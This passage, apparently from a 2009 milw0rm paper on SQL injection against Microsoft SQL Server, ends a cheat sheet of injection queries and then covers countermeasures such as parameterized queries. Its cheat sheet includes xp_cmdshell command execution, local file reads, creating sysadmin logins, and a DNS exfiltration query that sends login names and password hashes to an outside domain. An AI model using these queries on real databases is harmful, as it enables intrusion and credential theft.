  1335. | | master..syscolumns.id=master..sysobjects.id AND |
  1336. | | master..sysobjects.name='sometable'; -- list column names and types |
  1337. | | for master..sometable |
  1338. |---------------|---------------------------------------------------------------------------|
  1339. | | -- NB: This example works only for the current database. |
  1340. | | If you wan't to search another db, you need to specify the db name |
  1341. | Find Tables | (e.g. replace sysobject with mydb..sysobjects). |
  1342. | From | |
  1343. | Column Name | SELECT sysobjects.name as tablename, syscolumns.name as columnname |
  1344. | | FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id |
  1345. | | WHERE sysobjects.xtype = 'U' AND syscolumns.name LIKE '%PASSWORD%' -- |
  1346. | | this lists table, column for each column containing the word 'password' |
  1347. |---------------|---------------------------------------------------------------------------|
  1348. | Select | SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins |
  1349. | Nth Row | ORDER BY name ASC) sq ORDER BY name DESC -- gets 9th row |
  1350. |---------------|---------------------------------------------------------------------------|
  1351. |Select Nth Char| SELECT substring('abcd', 3, 1) -- returns c |
  1352. |---------------|---------------------------------------------------------------------------|
  1353. | Bitwise AND | SELECT 6 & 2 -- returns 2 |
  1354. | | SELECT 6 & 1 -- returns 0 |
  1355. |---------------|---------------------------------------------------------------------------|
  1356. | ASCII Value | SELECT char(0x41) -- returns A |
  1357. | -> Char | |
  1358. |---------------|---------------------------------------------------------------------------|
  1359. | Char -> ASCII | SELECT ascii('A') - returns 65 |
  1360. | Value | |
  1361. |---------------|---------------------------------------------------------------------------|
  1362. | Casting | SELECT CAST('1' as int); |
  1363. | | SELECT CAST(1 as char) |
  1364. |---------------|---------------------------------------------------------------------------|
  1365. | String | SELECT 'A' + 'B' - returns AB |
  1366. | Concatenation | |
  1367. |---------------|---------------------------------------------------------------------------|
  1368. | If Statement | IF (1=1) SELECT 1 ELSE SELECT 2 -- returns 1 |
  1369. |---------------|---------------------------------------------------------------------------|
  1370. |Case Statement | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END -- returns 1 |
  1371. |---------------|---------------------------------------------------------------------------|
  1372. |Avoiding Quotes| SELECT char(65)+char(66) -- returns AB |
  1373. |---------------|---------------------------------------------------------------------------|
  1374. | Time Delay | WAITFOR DELAY '0:0:5' -- pause for 5 seconds |
  1375. |---------------|---------------------------------------------------------------------------|
  1376. | | declare @host varchar(800); select @host = name FROM master..syslogins; |
  1377. | | exec('master..xp_getfiledetails ''\\' + @host + '\c$\boot.ini'''); |
  1378. | | -- nonpriv, works on 2000 |
  1379. | | |
  1380. | | declare @host varchar(800); select @host = name + '-' + |
  1381. | Make | master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net' |
  1382. | DNS Requests | from sys.sql_logins; exec('xp_fileexist ''\\' + @host + '\c$\boot.ini''');|
  1383. | | -- priv, works on 2005 |
  1384. | | |
  1385. | | -- NB: Concatenation is not allowed in calls to these SPs, hence why we |
  1386. | | have to use @host. Messy but necessary. |
  1387. | | -- Also check out theDNS tunnel feature of sqlninja |
  1388. |---------------|---------------------------------------------------------------------------|
  1389. | Command | EXEC xp_cmdshell 'net user'; -- priv |
  1390. | Execution | |
  1391. |---------------|---------------------------------------------------------------------------|
  1392. | Local | CREATE TABLE mydata (line varchar(8000)); |
  1393. | File Access | BULK INSERT mydata FROM 'c:\boot.ini'; |
  1394. | | DROP TABLE mydata; |
  1395. |---------------|---------------------------------------------------------------------------|
  1396. | Hostname, IP | SELECT HOST_NAME() |
  1397. |---------------|---------------------------------------------------------------------------|
  1398. | Create Users | EXEC sp_addlogin 'user', 'pass'; -- priv |
  1399. |---------------|---------------------------------------------------------------------------|
  1400. | Drop Users | EXEC sp_droplogin 'user'; -- priv |
  1401. |---------------|---------------------------------------------------------------------------|
  1402. | Make User DBA | EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin; -- priv |
  1403. +---------------+---------------------------------------------------------------------------+
  1404.  
  1405.  
  1406. ########################################
  1407. [0x06] - SQL Injection Countermeasures
  1408. ########################################
  1409.  
  1410. Main cause of SQL injection vulnerability is input validation. Many web developers do not provide
  1411. proper mechanism in order to sanitize any form of input. So, attackers take advantage of this point and gain access
  1412. to many databases. There are solutions to prevent SQL injection vulnerability.
  1413.  
  1414. - Use whilelist input: because we cannot know all of bad inputs, so the efficient way is to allow only our known-valid input
  1415. - Check input type: in some cases, attackers inject string into numeric input field or inject numeric into string input field,
  1416. these may cause SQL injection vulnerability
  1417. - Escape database metacharacters: use / in order to escape database metacharacters by prepending / in front of metacharaters.
  1418. - Don't ignore any ways of input: attackers can manipulate input to exploit SQL vulnerabilities, so you must not care only query string but also headers,
  1419. cookies and form fields as well
  1420. - Use Parameterized Queries: MSSQL provides API for handling inputs which can help us to prevent SQL injection.
  1421. This mechanism is called "Parameterized Queries".
  1422.  
  1423. The following two code samples illustrate the difference between an unsafe query dynamically constructed out of
  1424. user data, and its safe parameterized counterpart.
  1425.  
  1426. In the first, the user-supplied name parameter is embeded directly into a SQL statement, leaving the
  1427. application vulnerable to SQL injection:
  1428.  
  1429. //define the query structure
  1430. string queryText = "select ename,sak from emp where ename ='";
  1431.  
  1432. //concatenate the user-supplied name
  1433. queryText += request.getParameter("name");
  1434. queryText += "'";
  1435.  
  1436. //execute the query
  1437. stmt = con.createStatement();
  1438. rs = stmt.executeQuery(queryText);
  1439.  
  1440. In the second example, the query structure is defined using a question mark as a placeholder
  1441. for the user-supplied parameter. The prepareStatement method is invoked to interpret this, and fix the structure
  1442. of the query that is to be executed. Only then is the setString method used to specify the actual value of
  1443. the parameter. Because the query's structure has already been fixed, this value can contain any data at all,
  1444. without affecting the structure. The query is then executed safely:
  1445.  
  1446. //define the query structure
  1447. String queryText = "select ename,sal from emp where ename = ?";
  1448.  
  1449. //prepare the statement through DB connection "con"
  1450. stmt = con.prepareStatement(queryText);
  1451.  
  1452. //add the user input to variable 1 (at the first ? placeholder)
  1453. stmt.setSting(1, request.getParameter("name"));
  1454.  
  1455. //execute the query
  1456. rs = stmt.executeQuery();
  1457.  
  1458.  
  1459. #####################
  1460. [0x07] - References
  1461. #####################
  1462.  
  1463. [1] Error based SQL injection - a true story: AnalyseR
  1464. [2] Advanced SQL Injection In SQL Server Applications: Chris Anley
  1465. [3] ASCII Encoded/Binary String Automated SQL Injection Attack: Michael Zino
  1466. [4] http://pentestmonkey.net
  1467. [5] http://www.owasp.org
  1468. [6] http://www.milw0rm.com
  1469.  
  1470. ####################
  1471. [0x08] - Greetz To
  1472. ####################
  1473.  
  1474. Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK
  1475. Special Thx : asylu3, str0ke, citec.us, milw0rm.com
  1476.  
  1477. ----------------------------------------------------
  1478. This paper is written for Educational purpose only. The authors are not responsible for any damage
  1479. originating from using this paper in wrong objective. If you want to use this knowledge with other person systems,
  1480. you must request for consent from system owner before
  1481. ----------------------------------------------------
  1482.  
  1483. # milw0rm.com [2009-01-29]
Add Comment
Please, Sign In to add comment